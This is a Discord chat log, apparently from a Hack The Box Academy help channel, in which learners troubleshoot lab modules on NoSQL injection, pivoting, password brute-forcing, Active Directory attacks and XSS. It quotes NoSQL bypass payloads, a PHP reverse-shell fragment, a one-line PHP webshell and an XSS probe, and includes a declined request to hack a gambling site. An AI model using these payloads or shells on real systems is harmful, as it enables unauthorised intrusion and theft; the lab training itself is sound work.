modules

[rustic sage]

did you do the nosql injection module?

[rare topaz]

no, but i did a box that required it

[rustic sage]

ok

[rare topaz]

https://github.com/C4l1b4n/NoSQL-Attack-Suite

[rustic sage]

will try it thanks 🙂

[rare topaz]

So there was a box i did that required NoSQLi.

I used this tool, more specifically the bypass tool

it tells you if it's NoSQL injectable, and provides an example injection code

{"username": {"$ne": "dummyusername123"}, "password": {"$ne": "dummypassword123"}}

This is an example of the "injection" the tool provided me.

Hope it works for you!

[rustic sage]

nope doesnt work :/ false positives

[rare topaz]

rip

what was the output tho

[rustic sage]

the section has to be updated...

[thorn urchin]

its a new module too lul

[rustic sage]

3 months old :/

i guess i can't continue unless it will be updated. i tried every possible payload by hand lmao

[thorn urchin]

honestly kinda surprised sqlmap doesnt have better support for nosql yet

[rustic sage]

yeah right

nosql apps get more common i guess

[thorn urchin]

its certainly becoming more popular

[rare topaz]

wdym by false positives btw

[rustic sage]

it says the param its injectable but its actually not

[rare topaz]

did it give an example of what you could put in there

[rustic sage]

yes

username[$ne]=x

but i tried that already

[rare topaz]

rip then

ig you could brute force manually? XD

[rustic sage]

xd

[rare topaz]

seclist has a list of possible nosql injections i believe

[rustic sage]

used that as well

[rare topaz]

zamn

maybe some1 in forums has complained b4 asw ell

[rustic sage]

ill check

nope

[faint rampart]

You might need to switch to passive mode sometimes cause the server has been configured to prevent directory listing

[tidal kelp]

Thanks!

[faint rampart]

anytime sir
It doesnt always work tho.

[thorn urchin]

did you try it as get parameter, post parameters, or as json data

[rare topaz]

the tool i gave him would specify if it's a json injection or not

in the case of the box i did, it was

hence i asked for output

[thorn urchin]

theres a lot of nosql injections where the app defaults to post parameters and you have to manually turn it into a json request for it to get processed properly

[rustic sage]

really? ill try it out

[thorn urchin]

dont forget to change the content type header too!

[rare topaz]

yeah burpsuit helps w that

could explain why theres no detailed forum on it

[thorn urchin]

I stumbled upon that switch on a box I did recently. Not all nosql injections require it.

[rustic sage]

didn't do it 😦

[thorn urchin]

bummer

[rare topaz]

can i see what the tool outputted for you?

[rustic sage]

the nosqlbypass thing?

[rare topaz]

yeah

[rustic sage]

gotta reinstall one sec

false positives

[rare topaz]

username%5B%24ne%5D=dummyusername123&password%5B%24ne%5D=dummypassword123

Can you just try putting that there

[thorn urchin]

did you copy past that whole payload, cause thats diff than what you posted you tried earlier

[rare topaz]

yeah

Thats why i asked for output

[rustic sage]

like this?

does not work

[rare topaz]

username[$ne]=dummyusername123&password[$ne]=dummypassword123

?

[rustic sage]

the same

[rare topaz]

https://tenor.com/view/daeth-funi-periflight-dies-from-gif-22212023

[rustic sage]

yeah xd

[rare topaz]

seems kinda unusual imo

[thorn urchin]

oh haha I see why it wouldnt work

[rustic sage]

why? 🙂

[thorn urchin]

the param[$ne] technique is a nodejs specific method

[rustic sage]

ik

[thorn urchin]

the server there is werkzeug python based

[rustic sage]

damn

[thorn urchin]

so any variant of that was never gunna work

[rustic sage]

i see

[simple zephyr]

I have read a few problems with the ICMP Tunneling with SOCKS module.

Has anyone had issues at this point, it seems like others were at least able to run autogen

╰─ sudo ./autogen.sh                                                                                                                                ─╯
++ pwd
+ OLD_WD=/home/p3ta/HTB/Academy/pivot/ptunnel-ng
++ dirname ./autogen.sh
+ NEW_WD=.
+ cd .
+ autoreconf -fi
./autogen.sh: line 10: autoreconf: command not found
+ aclocal
./autogen.sh: line 11: aclocal: command not found
+ autoheader
./autogen.sh: line 12: autoheader: command not found
+ automake --force-missing --add-missing
./autogen.sh: line 13: automake: command not found
+ autoconf
./autogen.sh: line 14: autoconf: command not found
+ cd /home/p3ta/HTB/Academy/pivot/ptunnel-ng
+ ./configure
./autogen.sh: line 19: ./configure: No such file or directory

[thorn urchin]

unless it was like a crazy second order nosql injection

[thorn urchin]

looks like you need to install automake

[simple zephyr]

let me try that thanks

[rustic sage]

hmmm

[thorn urchin]

so Im not personally aware of any python specific nosql shenanigans so presumably if the task really is auth bypass, you should be looking at more standard straightforward nosql auth bypass such as || shenanigans

oh yup just as your image indicates

[rare topaz]

hmmmmmmmmm

[thorn urchin]

try something like ' || 1==1//

maybe quotes around the 1s, experiment with no quote, double quotes, ect

[rustic sage]

https://tenor.com/view/crying-emoji-dies-gif-21956120

tried every combination

"Log in failed with given credentials"

also tried at /forgot and /reset

[simple zephyr]

this seems to be a common thing, I am going to dig around a bit for other versions of it, but any suggestiongs.

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.202.64 -R22
[sudo] password for ubuntu: 
./ptunnel-ng: error while loading shared libraries: libcrypto.so.3: cannot open shared object file: No such file or directory

[thorn urchin]

looks like you need to install libcrypto

[simple zephyr]

this is on the pivot box, so HTB's machine not mine

[twin gulch]

Finally solved the medium lab, thanks for everyone!

[fathom bone]

You got through this already? I got the same issue trying with MSF and with msfvenom or am i on the wrong path?

[atomic belfry]

on the Vim tutorial in linux, why do none of the commands work how they suggest it to? when I go into Vim, none of the commands suggest work, and when I do 'vimtutor' it just says command not found. What am I doing wrong here?

[atomic belfry]

nvm im dumb

[limpid rune]

I'm new I need a friend

[shadow nest]

Hey All

so I tried the reverse shell for HTB: Included

still no luck

cat shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.98'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

This is my php reverse shell

The IP is tun0

I am using HTB Platform

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.98 netmask 255.255.254.0 destination 10.10.14.98
inet6 dead:beef:2::1060 prefixlen 64 scopeid 0x0<global>
inet6 fe80::44a6:9a7:740:5119 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 97 bytes 67443 (65.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 114 bytes 15830 (15.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

@fathom pendant

@ocean night

any advice brother

@mild mango

[rare topaz]

my g is pinging the whole squad

[rustic sage]

Script with curl and filter looking for what you need. If you need help DM

[autumn pilot]

@shadow nest please do not randomly ping people that appear online

[shadow nest]

Ok

[rare topaz]

i thought those were his friends 😭 i cant-

[shadow nest]

LMAO

sorry guys! lol

[supple jackal]

hey im doing the linux fund and im at this question that ask about the path to htb-student mail.. i found it in /var/mail but it says im wrong

[analog tendon]

would anyone be able to assist me in a mounting issue? i dont have a command showmount and when i attempt to mount the shares i found to a directory i created it gives me "bad option; for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount.<type> helper program."

im using parrot

[honest ridge]

@supple jackal make sure its full path

[supple jackal]

sorry but i thought that was the full path

/var/mail/htb-student

would that be the full path

[honest ridge]

try it 🙂

[supple jackal]

i did it stil says im wrong

[storm jackal]

The box was too slow for me to even get a shell on the foothold. I think it was just my internet at the time though. I just tried connecting again and everything is way faster

[honest ridge]

mmmm maybe its derping out? refresh it all?

[supple jackal]

so this will be the 10th time i have rfreshed

lol

[honest ridge]

uhh I see lol.

[supple jackal]

i thought maybe i was wrong

[honest ridge]

im not entirely sure what i can and cant say to help. but what you have i have and is good for me.

[analog tendon]

nvm mind on mine. i installed nfs-common and tried it again. worked fine

[supple jackal]

so that is right, and i guess i understand paths now lol

[fathom pendant]

I genuinely ignore pings if i'm not expecting them

[thorny wadi]

anyone that can give me a little help on the lab: Password Attacks Lab - Easy

[honest ridge]

you have tryed to hard close browser and reopen and not just refresh?

[supple jackal]

turned my hole computer off and went to work for 9hrs

[honest ridge]

lmao

[fathom pendant]

yeah this one there's no htb-student mail folder

so it's tricky

as in - need to do a bit of research on what /var/mail is

[supple jackal]

so put it just like /var/mail

[fathom pendant]

you had it right

it's just when you're looking around

[thorny wadi]

im dying of boredom waiting for the bruteforce to go through and getting no results

[fathom pendant]

you don't see the mailbox

which is silly

as it's a fundamental excersize

[fathom pendant]

if what you have in the screenshot doesn't work, try adding another / at the end

[supple jackal]

nope still nada

[honest ridge]

this is linux fun in system information section yeah?

[supple jackal]

yes

[honest ridge]

if so mine shows you are correct as ive done this

maybe talk to staff memeber? im not sure tbh

[supple jackal]

no doubt lol

so is the shell GNU

or am i out to lunch for that one

[honest ridge]

i dont think i can directly give you answers tbh.

[woeful ermine]

which section is it ?

[fathom bone]

so did msf or a payload with msfvenom work for u then?

[storm jackal]

yeah it worked for me

[fathom pendant]

GNU is just the GUI (kinda sorta)

just try not to bash your head against the wall

also be careful of rogue spaces they mess ya up real bad when inputting things

[grand gale]

i have a question is there anyone who can give me a hand

[viral mica]

yeah generally it shouldn't take 5 days to crack something, maybe a day and a half depending on your password list and the specs of your computer. Id really really try to get hashcat to work on your windows machine if you want to make full use of your gpu as most virtualization software will not support gpu passthrough

not sure why you're having that issue to begin with but honestly i'd just abandon ship where trying to use hashcat in a vm is concerned

[supple jackal]

/bin/bash 🙂

[acoustic owl]

If you say what you want to know, I'm sure you'll find someone who can answer the question.

[grand gale]

where is the bash terminal icon?

i am at the very beginning

[fickle surge]

Active Subdomain Enumeration
When looking for additional dns zones, is there another way to spot them rather than trying to axfr to them one by one? there were 19 A records there where one of them were a zone

[acoustic owl]

This depends a bit on your distribution

[fathom pendant]

Mhm if you're starting from the top

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[simple zephyr]

I have noticed that the ping sweep in the pivot module for windows machines does not really work. at least for me. So I wanted to share what I ran. ||1..254 | % {"x.x.x.$($): $(Test-Connection -count 1 -comp x.x.x.$($) -quiet)"}||

Pivoting, Tunneling, and Port Forwarding - Skills Assessment: Submit the contents of C:\Flag.txt located on the Domain Controller.

Was this flag really that easy where it is ||mounted to the Z: when you log in or was that not suppose to be like that. ||

[dim wolf]

curses

[hazy grotto]

YOOOO. happy friday foos

[dim wolf]

i just figured how to get the exploit working on the shells and payloads skills assessment and then xfreerdp just closes

[simple zephyr]

you as well... 48.57% done lol... I was hoping to break 50% today 🙂

[midnight tusk]

Don't know if you got a hint yet but use hydra and the password.list and username.list file that they provide in resources. Use -t 64 in your hydra command. The "t" flag will increase the threading so it's completed in less time. You can also throw on the Verbose flag -V if you want to watch it run. After that let it run for a hot minute (a long time). You should be able to figure it out from there. Sometimes people forget that the lowercase "p" and lower case "l" in the hydra command are used for specific passwords and usernames. So, make sure they are uppercase otherwise it will read your lists as a literal word rather than reading the list itself. Last hint, make sure its a refreshed box because it takes awhile. Hope that helps.

[shadow canopy]

this worked for me
$ dig axfr -f subdomains.txt @<ip>

[jagged crane]

whats up HTB Crew

[scenic walrus]

I have a technical question regarding connecting to teh target machine that a module spawns, can anyone help with that?

[analog tendon]

maybe. whats up

[scenic walrus]

I figured it out I have to many instances of openvpn running killed them all muahaha. Thanks for checking in.

[analog tendon]

lol yea that can do it

[magic valve]

May I get some help for AD Enumeration & Attacks - Skills Assessment Part II

Submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host

I have a password and not the hash of the user from the previous question. As port is not open for evil-winrm, rdp or ssh how do I connect with the credentials?

[analog tendon]

did they go over any other tools in the module that uses a pash the hash attack beside evil-winrm?

sorry

misread

are there any other ports open that would allow a connection with the password?

[wheat garden]

Need some help on module Active directory enumeration and attacks

section- Attacking Domain Trusts - Child -> Parent Trusts - from Linux

Last question - Perform the ExtraSids attack to compromise the parent domain from the Linux attack host. After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross. Submit this hash as your answer.

been trying to use secretsdump.py but think might be getting the syntax wrong if anone already done this exercise

[hardy hare]

Anyone on that can assist with the Cross-Site Scripting module? Stuck on the Session Hijacking question.

[dim cosmos]

hi everyone

[dim cosmos]

what do you need help with / what have you tried?

[lunar niche]

Hi

Im new

[dim cosmos]

hi bro

[analog tendon]

i have a question for the foot printing DNS section. im using dnsenum to find the FQDN for the x.x.x.203 ip but my lists arent picking it up. any idea which list i should be using? or am i going in the wrong direction

[magic valve]

445

[analog tendon]

do you have a username to go with that password?

[wheat garden]

SO your doing footpeinting section dns question 1?

[analog tendon]

last question

[magic valve]

Yeah. Was thinking psexec to get a shell but couldn’t remember what port that connection is.

[magic valve]

Not in front of the computer at the moment.

[analog tendon]

445 is SMB. its possible you can upload a reverse shell. not sure how youd be able to start it though

[wheat garden]

dang didnt take notes on the exercises of this module only did the skill asess but trying to look through dns worldlist see if I can remember which one was used

[sand parcel]

can somone help me out real fast

[analog tendon]

that would be helpful. i think ive gone through all the seclists

[wheat garden]

searched trhough discord again used the fierce wordlist

Use the fierce wordlist
on .dev.

[analog tendon]

you used it on the dev server?

[wheat garden]

on kali default location /usr/lib/python3/dist-packages/fierce/lists/

[analog tendon]

is it not on parrot at all?

[sand parcel]

can someone please help me do sum

this is like one of the only channels i can type in, sadly

[analog tendon]

i have the fierce-hostlist

[wheat garden]

not sure but you can use command <locate fierce> to search for it

[analog tendon]

true. ill look. thanks

[analog tendon]

got it. thanks. i think part of it was how i was enumerating too

[wheat garden]

sweet glad you got it

[proud rover]

How unethical would it be to hack and use a rigged for profit gambling site that operates illegally and take your money plus back? Hundreds of thousands....do this question violates the rules of hack the box?

[thorn urchin]

more so its not the right channel

[proud rover]

Understood...

Is anybody familiar with KRAKEN? and or FIREKIRIN?

[thorn urchin]

also not relevant to this channel

[pliant sage]

yo, I have a question

suppose i can run a specific ruby script as sudo, is there a way to piggyback off of it and execute an aditionnal command? Smth like "sudo ruby script.rb + exec /bin/bash"

[fallen sapphire]

Hello

Would you mind if I asked you an algorithm question?

[rustic sage]

pls dm me my friend's id has been hacked

[novel matrix]

Say that shit again and you will get the boot. This is a warning.

If he has been hacked, he needs to talk to discord themselves

[dim cosmos]

sql injections are so satisfying

[fallen sapphire]

Friends

Please help me

[rustic sage]

How is my name offensive tg

[dim cosmos]

help you with what?

[indigo flax]

Look at the script, what it does, whether it parses ARGV or ENV, or passes inputs into other commands, look for system or open method calls. sudo will prevent you from passing in certain env variables like RUBYOPT which can be used to tell ruby to load additional files. If you can view /etc/sudoers or /etc/sudoers.d/, that might show you if certain env variables are allowed to be passed through sudo.

[fallen sapphire]

Would you mind if I asked you an algorithm question?

I said it.

[novel matrix]

read the rules

[tough wyvern]

Hi everybody, I'm doing the Hacking Passwords with Hashcat module and i'm stuck in the 'Dictionary Attack' section. I think that I guessed correctly the type of hash they're asking for (MD5 I think), but when I run the command to crack the hash I can't get the correct answer... If someone can help me out i'll appreciate it

[fathom pendant]

#rules they need to be able to easily tag you

[turbid kraken]

Hey guys, I'm pushing this week-old question again as I still yet have to find an answer for it:
On the OSINT: Corporate Recon module, Location section
"What are the city's coordinates where one of the company's offices, "inlanefreight.com" has its headquarters in Germany? (format: 00.0000 N, 0.0000 E) "

I have found the answer (as in the city name) as I have found the UK and US cities and they managed to validate. Sadly the german city does not and I cannot for the life of me get the coords right. The coords I get form google are just a tiny bit of from partial coords I got off a walkthrough I found online.

Did anyone manage to beat that section and has the exact GPS point that is required by the question?

Thanks!

[dim cosmos]

question: assuming i've got an operational simple webshell (e.g. <?php system($_REQUEST[0]); ?> ) can I use the command wget from that webshell to grab a much better webshell assuming i can wget it into the webroot dir? i.e. put get simple php webshell then use that to download the whitewinterwolf webshell.php? I can't seem to get it to work

[fathom pendant]

Have you tried shodan or whois?

[turbid kraken]

yea that's really not the issue. I have the answer. Thing is the question just dosn't want to take it

[fathom pendant]

For the modules, the machines we are attacking do not have internet access

[dim cosmos]

yes sorry I should have made clear I was asking a general question Marcie, not module specific

[turbid kraken]

demonstration:

||city is: Oberhausen. Google gives me these coords for this city: Latitude: 51.4731 Longitude: 6.8807. // The answer is asking for these: 5*.***3 N, 6.***8 E||

[fathom pendant]

Theoretically possible: but that begs the question - how would you execute that shell.

[dim cosmos]

if i wget it into the webroot i should be able to just browse to it?

[fathom pendant]

its offtopic for this channel so you're better off asking in #1024429874246590575 or seeing if someone asked the same or similar ¯_(ツ)_/¯

[dim cosmos]

roger that, cheers,

sometimes i think out loud

[fathom pendant]

Or yaknow

Google

¯_(ツ)_/¯

[fathom pendant]

Are you putting it in the format requested? Looks like the format is asking for 4 decimal places

[dim cosmos]

www.justfuckingoogleit.com

😛

[turbid kraken]

yea I have, but you'll notice my partial answer is just a bit off from my google result

I guess they moved the city center since they made the module :/

[fathom pendant]

Post it in #858470491676737536

Since the correct answer is not the answer they want

[glass void]

Help with Broken Authentication Skills Assessment module please. Here are the things I have done:

• I have found 9 users
• I have figured out how cookies are being created
• I have created a wordlist based on the password policy using rockyou.txt
• I have used the ratelimiting script to bruteforce the 9 user's passwords using the password list I created from the password policy (couldn't find any passwords)

Is there something I am missing? Please reply or DM me if you can help 🙂

[rustic sage]

google🤓

but you can use safari🤓🤓

[fallen sapphire]

Hello friends

Would you mind if I asked you an algorithm question?

[glass void]

thanks for the help, I didn't think of that

[median fog]

Is this related to an academy module?

[kindred prism]

I have solved the 'question' for DNS-AXFR.py in the DNS enumeration with Python module, but I am trying to understand why I am unable to get the script to work locally and not having to use the pwnbox? I am getting this error locally: nameserver ns1.inlanefreight.com is not an IP address or valid https URL but if I supplied the target machine ip address & nameserver ip addresses (yes I added this all to my hosts file) I get this error: Zone transfer error: SERVFAIL Zone transfer error: SERVFAIL any ideas?

[hardy hare]

Just seem to be having trouble getting the server to request the script.js from me. Yesterday morning, I kept trying and getting nothing, then 90 minutes in I got 12 requests within 2 seconds. Haven't gotten anything from it since, multiple respawns, tried every format of the XSS I can think of.

[turbid kraken]

hum? 🤔

[turbid kraken]

yea, getting the same results over and over

results:

[livid bluff]

Hi,
On the assessment of brute force module in service login section.
This is correct for the wordlist of password with cupp ?
I have 3696 password and i have 1320 after filter with 8 characters, number and special character.
It's correct ?
For the username i use username-anarchy with H----- P----- and i have 15 username.
I'm on this assessment since 3 days ...
each time the brute force is too long and either the server stops or it receives too many connection attempt errors.
Please help me 😅

[autumn pilot]

I've different ones

[lyric echo]

Hey! Can someone help me with with Attacking Common Applications Assessment I? The last question regarding the flag... I was able to use the /cgi to view the directory and get to the flag... However, no command is allowing me to view the contents of the flag.

[agile python]

who is in the live engagement module ?

[glass void]

Figured it out. Not sure why, but the rate_limit.py script was not working correctly, I'm guessing it's because I didn't include the Content-Type header. I ended up using intruder with a rate limit and that worked. If anyone is stuck on this in the future, feel free to message me 🙂

[glass void]

I don't remember that module clearly, but you could try including the surname in CUPP and see if that gives you better results. 👍

[livid bluff]

I have read on the forum and many user says that is not necessary but i an trying with the surname too. For the moment i have no good result.

[dim wolf]

for shells and payloads?

[lyric echo]

Nvm, just figured it out. kinda tricky.

[agile python]

Yup

[dim wolf]

i just finished that module yesterday so the content is fresh in my mind

what do you need help with?

[pseudo epoch]

Hey all, im having trouble with the Password Attacks module. I'm trying to brute force rdp, however I keep erroring out with hydra. Keeps saying All children were disabled due too many connection errors. And the times that it does give me an account, they don't work on rdp. Anyone have this issue? Just want to know if its normal, or if im having a connection issue. I have restarted multiple times, including my own pc -- feel free to response here or dm me. Thank you!

[livid bluff]

the problem came from my script to sort the word list, I had 1320 words with my python script and using sed in command line I have 1451 !
All is good, 3 days for this error ...

[fallen sapphire]

Friends please help me.

[patent obsidian]

Hi, it's me again, can someone help me with the module of Web Services and API attacks: skills assessment.
I'm a bit stuck

[stuck hollow]

Hi, Can anyone help me with the module Cross-Site Script (XSS) ? I am stuck at submitting an answer, seems like xsstrike tool is not completing the scan and stuck.

[patent obsidian]

Which question is it?

[stuck hollow]

Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter?

in "XSS Discovery"

[patent obsidian]

which of the two questions in this module

[stuck hollow]

1. Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter?

2. What type of XSS was found on the above server? "name only"

[stuck hollow]

https://discordapp.com/channels/473760315293696010/1068939596051787776/1068939596051787776

You can see here, the problem I am facing.

[turbid kraken]

What do you get?

[autumn pilot]

you can also use that https://www.countrycoordinate.com/

[stuck hollow]

Also, can you please elaborate how you did it?

[patent obsidian]

complete the form and then in each variable place one by one this payload <script>alert('XSS')</script>.

[patent obsidian]

I sent you a DM

[wispy pulsar]

can someone give me a lead on with password attacks medium lab. succesfully logged in as d user. found the ssh directory and bash_history file but i can't figure out what to do with them.

[wispy pulsar]

nvm got root acces by doing something i thought i tried already like 50 times

[rustic sage]

Something went wrong while sending the verification email. Please contact our support team for more information. can i get some help here

and how do i get tag #1024429874246590575

so i can post in there

[fathom pendant]

Support can be accessed via the green bubble on the bottom right of the page; if you don't see it you'll need to disable adblock

[forest solstice]

Hello 👋..anyone done with using crackmapexec skill assessment need some assistance,got the users..just stuck on getting cme errors in the next step

[sick warren]

Hello, in Active Directory Enumeration & Attacks kerberoasting from linux
the question : What powerful local group on the Domain Controller is the SAPService user a member of?
I got this through manual searching Through Getting local groups via crackmapexec and I looked through them .. i'm looking for an automated query or something that I might use in the future.

[buoyant escarp]

Im in the assessment for web attacks, i managed to change the passwords for each user, but i have no clue whats next, do i have to change json to xml or something? Or what route should i go

[magic valve]

May I get some help for AD Enumeration & Attacks - Skills Assessment Part II

Submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host

I have a password and not the hash of the user from the previous question. As port is not open for evil-winrm, rdp or ssh how do I connect with the credentials? SMB port open but unable to login to smb with credentials.

[fathom pendant]

DC01 may not be open; to outsiders

[magic valve]

Possibly may need to access it somehow as administrator from MS01 box?

[fathom pendant]

just throwing an Idea out there ¯_(ツ)_/¯

haven't done it myself

but I heard AD is the mid-boss of cpts

[magic valve]

Understood. Thank you

[honest hazel]

could you use something other than rdp?

oh, I see,, you literally said As port is not open for evil-winrm, rdp or ssh. that's strange.

[fathom pendant]

again not open publicly is a possibility

[rustic sage]

hello i dont understand much about discord
shortly i am ready to pay unlimited money for very important job for me that might be easy to you
please dm me for info

[dim wolf]

No.

[vital adder]

if you got the cred for the user on question 9 i'm not sure if you can login because i didn't (just because out of habit) and i don't have any note on can't logging in with this user also there is ||winrm||

[vital adder]

if you check the ||uid|| for all user none of the username will have ||admin|| in it but hint the last bit of info at the end will review that

[magic valve]

Okay. Not sure what you mean regarding the winrm comment. That port is not open for DC01

[vital adder]

if you dump the TGS ticket for the user on question 1 then you should see a list of group that this user is a member of under "MemberOf" and for the "powerful" part i guess you can really only guess based on the group name

[vital adder]

my nmap scan show it is, maybe try scanning just that port and with a deep scan tag like the -A tag or the best thing you should do for all windows target lab is always give it a few min for it to fully booted up

[buoyant escarp]

{
"uid": "74",
"username": "htb-student",
"full_name": "Paolo Perrone",
"company": "Schaefer Inc"
}
you mean i should look for a hint in usernames?

[vital adder]

close but nope i mean you should look for a hint in the stuff beside the username (there is only 2 other)

[magic valve]

Oh you are right. It did show up open now. Weird. Still can’t login to it like u said with the credz..will try to perform different nmap scans to see if I can find something else I can connect to.

[vital adder]

hint you don't need to "login" via something for the last part, you can just use the previous user for that and also the last hint is do some enum about the user you just got

[magic valve]

Copy that. Thank you @vital adder

[rustic sage]

Has anyone done Introduction to Windows Command Line?

[vital adder]

yep what's the issue?

[rustic sage]

||Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file. || I've been trying the ||where /R C:\Users\htb-student\ waldo.tx||t commando but still cant find it

[vital adder]

which section?

[rustic sage]

Finding Files and Directories

[vital adder]

hint your command is right but i don't thing the file is in htb-student user home directory

try running that command for ||C:\users|| instead

[rustic sage]

Alright

[rustic sage]

Still nothing

I tried to cd to others users before

but access denied

There was a public dir doe

[vital adder]

the command in my note start with cmd.exe /c for some reason i think i was in powershell when i was writing my note

also i don't got the file location in my note and i think you can run cmd as administrator so if you got access denied try that

[rustic sage]

I don't have access to the other users dir

That the problem :S

It should be in htb-student

cause the question told me to RDP to the server

and search for waldo.txt

[vital adder]

yep i just give it a try and run cmd as administrator with the where command worked for me

[rustic sage]

Alright

Yup, there it is it worked with admin

I found the file now thanks man

[dry breach]

Any replacements for Attacking AuthN Mechanisms? 500 cubes is unattainable for me lol

[vital adder]

i haven't done that module but for web stuff you should be able to learn it for free from portswigger and if you want to learn the stuff that's similar to the module check the section name and find a material here that is similar https://portswigger.net/web-security/all-materials

[rancid tide]

Is there someone that could help me in the ffuf module? i'm stuck in filtering result. I'm trying to make the VHOST requests but there is something wrong. if there is someone, please write me in priv :).

[vital adder]

your first example is pretty close to the right command so you may want to remove that because of spoiler and hint revisit the ||Bypassing Blacklisted Commands|| section for the last thing your need for your command

[vital adder]

which section are you on?

[rustic sage]

I have been stuck on the same section for a while now, I genuinely think there is something wrong with my lab.

Attacking SQL databases under attacking common services module

[vital adder]

oh wait a sec i did ues the same command as your first example in my note and it's worked just fine also no idea about that character because i did use it

[vital adder]

what's the issue?

[rustic sage]

I have tried using sqsh, mysql, impacket and none of them are working for me

[vital adder]

to login?

[rustic sage]

I have no privilege to do anything on any of them, the only one I can login into it sqsh

it wont let me use databases... or switch and the syntax does not make sense

[vital adder]

yeah so impacket isn't a tool it's a set of tools (i think) and this target is running mssql (microsoft sql server) not mysql so you can't use mysql to login

[rustic sage]

Makes sense but yes I tried using mssqlclient.py, just have no priviledge to do anything

im logged unto sqsh now

which is sqlcmd for linux

[vital adder]

i can't remember exactly but i think yep for the question and the given user you can't access any databases

[rustic sage]

exactly... i have no idea what to do....

[vital adder]

hint the question is asking for a password so re-check the section for method that can extract password

[rustic sage]

hmmm okay...

[rancid tide]

filtering result

[vital adder]

so for brute forcing vhost in ffuf you'll need to add -H 'Host: FUZZ.academy.htb'

[rancid tide]

yes

the prob is in the execution, it doesn't work

[vital adder]

oh wait this is the first section that you have to do this so did you add the ip and domain into your hosts file without the port?

[rancid tide]

yes

/etc/hosts

[vital adder]

and for the url did you use http://academy.htb:(port number)/ ?

[rancid tide]

Obv

[vital adder]

oh that's kinda weird shoot me a dm with your command

[rustic sage]

Oh... I just used the technique and got a hash I think? with responder

[rustic sage]

can I message you?

[dim wolf]

how long are the password attacks exercises going to take?

[rustic sage]

it depends but some took quite some time

[dim wolf]

i'm going to need more than music to get through these then

[fathom pendant]

as the pw attacks are generally brute force - takes a minute

[grizzled cobalt]

I'm going through Login Brute Forcing - Skills Assessment - Service Login (it's the last part of the Login Brute Forcing module), and I'm having an issue. Question 1 tells me to "use 'usernameGenerator' to generate potential usernames for the employee." That isn't the tool that was shown to us earlier in the module; the one we actually got some practice with was username-anarchy. I can't locate anything named 'usernameGenerator' on the web or on the vm.

So I go with the username-anarchy tool instead, since that's what we've been shown. None of my attempts to crack the login are working though. They just churn forever until I run out of time on either the VM or the IP I'm supposed to be targeting. I'm sure I have the correct employee name, so the only thing I can think of that might be causing me issues is that the wordlists I've made for the username and password are somehow flawed.

Can anyone help me with this?

I've built a password wordlist with cupp, and trimmed it down to meet the password criteria that are outlined on the login landing page.

[vital adder]

sorry for the delay and sure

[rustic sage]

figured out the solution haha nvm

[vital adder]

so for the username list i just use username-anarchy and for the password list if you got the right name you can just put it in cupp a few time, i only put it in ||twice||

[grizzled cobalt]

That ended up working 🤦

Thank you, I appreciate the tip.

[dim wolf]

WOW this is going to take a while to finish.

see you in two years

[rustic sage]

Once you're on the box via winrm you can|| query the membership of a certain group to see who can connect via RDP||. With that username and the provided password list you'll find that enumerating via CME or Hydra will workl 👍🏼

[dim wolf]

actually does the ssh config for password attacks limit the number of parallel tasks

[honest hazel]

has anyone run into the issue in the crackmapexec module where --get-file and --put-file don't work? The same commands run in the pwnbox work, but locally on my parrot install, it just gives the normal cme smb $IP output, with no errors or anything

[fathom pendant]

Version difference

I think

Can you add the verbose flag?

[honest hazel]

cme smb $IP -u grace -p Inlanefreight01! --share Share --get-file /path/file.ps1 /path/file.ps1 --verbose
usage: crackmapexec [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {ldap,mssql,smb,ssh,winrm} ...
crackmapexec: error: unrecognized arguments: --verbose

tried with -v as well, says unrecognized aruments: -v

[fathom pendant]

F

[honest hazel]

is that my grade?

i fail.

[thorn urchin]

cme is VERY picky about the order of its arguments

--verbose iirc has to be before your smb option

[honest hazel]

gotcha

[thorn urchin]

9/10 times if cme doesnt work how you expect, youve got the arguments ordered wrong

[fathom pendant]

Sounds frustrating

[honest hazel]

that's really neat, I learned quite a few things about cme so far today

it's a little frustrating, but w/e

DEBUG Error creating SMBv1 connection to 10.129.28.239: Error occurs while reading from remote(104)

is there any way to force smb2

the --verbose placement is a protip for sure. I won't forget that.

[dim wolf]

this password mutations exercise is taking way too long.

i've cut it down to 86k lines, attacking FTP now..

and it's doing it at 140 tries/min instead of 2000

[honest hazel]

I'd installed via pipx and going through the pwnbox vm there is a shellscript in /usr/local/bin that runs /root/.local/bin/poetry, so way to know that right off the bat

[fathom pendant]

ah

yeah

[queen hatch]

I know this is old but I figured out the problem here. Your CDATA payload is looking for flag.txt. (I did the same thing...)

[raven cairn]

Holy shit that was a million years ago lol

[fathom pendant]

10/01/2022

[queen hatch]

YUP! Looking at your screenshot helped me figure out what I was doing wrong though lol

[fathom pendant]

Lol

[dim cosmos]

im doing my first ever --level=5 --risk=3 attack in sqlmap .... just roughly how long will these take? Just so I can plan my lunch break 😛

[raven cairn]

Sweeet!!!!

[raven cairn]

Not too long in my experience

[dim cosmos]

ok like 20 mins or something?

[raven cairn]

Yeah. Probably less I think

Just take a little break and get some food

[dim cosmos]

ok thanks, appreciate it

[raven cairn]

No prob homie

[rustic sage]

Anyone done documentation reporting test?

[worn anvil]

im trying to do this module to understand ssh logins but I cant connect to a port without my connection timing out and the prompt to enter my password doesnt appear pinging the ports also isnt working

[raven cairn]

which module what section

